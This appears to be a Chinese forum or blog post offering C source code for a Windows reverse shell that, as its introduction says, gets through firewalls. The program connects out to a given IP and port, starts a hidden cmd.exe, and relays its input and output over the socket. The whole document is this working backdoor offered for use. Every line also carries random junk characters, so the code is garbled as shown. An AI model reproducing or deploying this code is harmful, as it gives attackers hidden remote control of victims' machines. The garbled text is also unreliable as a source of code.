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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 w %4SNR  
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/* ============================== 26SXuFJ@  
Rebound port in Windows NT $w,?%i97  
By wind,2006/7 4Zz%vY  
===============================*/ 06ndW9>wD)  
#include 0c2O'&$au  
#include W''%{A/'  
9+:SS1_  
#pragma comment(lib,"wsock32.lib") @uh^)6i]/  
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void OutputShell(); ew13qpt)<L  
SOCKET sClient; x)35}mi){L  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; (`W_ -PI  
a ~s:f5S>  
void main(int argc,char **argv) j6!C/UgQ  
{ "_LDs(&  
WSADATA stWsaData; [ B{F(~O  
int nRet; v|!u]!JM  
SOCKADDR_IN stSaiClient,stSaiServer; ;rggO0Y  
/{)}y  
if(argc != 3) 0bG[pp$[  
{  Dno]N  
printf("Useage:\n\rRebound DestIP DestPort\n"); NCrNlH IF  
return; Cz1Q@<)  
} / @v V^!#1  
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WSAStartup(MAKEWORD(2,2),&stWsaData); m:6^yfS  
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); 4*AkUkP:T  
NO)Hi)$X6Y  
stSaiClient.sin_family = AF_INET; ]=gNA  
stSaiClient.sin_port = htons(0); tTjadnX  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); y?6J%~\WP  
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) -yP|CZM  
{ {yo{@pdX>  
printf("Bind Socket Failed!\n"); HbOLf  
return; DOaTp f  
} C VXz>oM  
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stSaiServer.sin_family = AF_INET; :d AC:h  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); }3825  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); |wxAdPe  
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) V 4#bW  
{ G '1K6  
printf("Connect Error!"); 3_DwqZ 'O  
return; -dto46X  
} ;J uBybJb  
OutputShell(); #QUQC2P(~  
} Sg&0a$  
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void OutputShell() ;\'d9C  
{ pZ`^0#Fo  
char szBuff[1024]; w@![rH6~F  
SECURITY_ATTRIBUTES stSecurityAttributes; ,`pUz[wl  
OSVERSIONINFO stOsversionInfo; n 3eLIA{  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; ~=P#7l\o1  
STARTUPINFO stStartupInfo; mm dQ\\  
char *szShell; WMw|lV r  
PROCESS_INFORMATION stProcessInformation; vVbBg; {  
unsigned long lBytesRead; A!^ d8#~.  
V}Ok>6(~  
stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); U/#X,Bi~  
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); 3(oB[9]s  
stSecurityAttributes.lpSecurityDescriptor = 0; J16t&Ha`  
stSecurityAttributes.bInheritHandle = TRUE; @<TC+M5!  
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p!o?2Lbiw  
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); S4Q fx6:~h  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); UfkQG`G9H  
Hk 0RT%PK  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); _x`oab0@  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 8{- *Q(=/  
stStartupInfo.wShowWindow = SW_HIDE; 1CR)1H  
stStartupInfo.hStdInput = hReadPipe; F"^/R  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; Ja7yq{j  
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GetVersionEx(&stOsversionInfo); y$K[ArqX  
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switch(stOsversionInfo.dwPlatformId) Yn_v'Os2  
{ <~bvf A=  
case 1: ysH'X95  
szShell = "command.com"; MqAN~<l [  
break; o.g)[$M8cF  
default: 01 <Ti"  
szShell = "cmd.exe"; a7>^^?|  
break; Wx`$hvdq  
} 8b[<:{[YB  
grxlGS~Q  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); sTu]C +A  
YXLZ2-%ohZ  
send(sClient,szMsg,77,0); Vv&GyqoO]  
while(1) Pb}Iiq=  
{ @@3%lr71   
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); w }=LC#le  
if(lBytesRead) p f`vH`r  
{ {+^&7JX  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); Rn$TYCO  
send(sClient,szBuff,lBytesRead,0); I]-"Tw  
} Zs|m_O G  
else STL+tLJ  
{  GUps\:ss  
lBytesRead=recv(sClient,szBuff,1024,0); 7o7*g 7  
if(lBytesRead<=0) break; veAdk9  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); s^"*]9B"  
} zXW)v/ ZD  
} -4v2]  
a|-ozBFR  
return; no,b_0@N  
}
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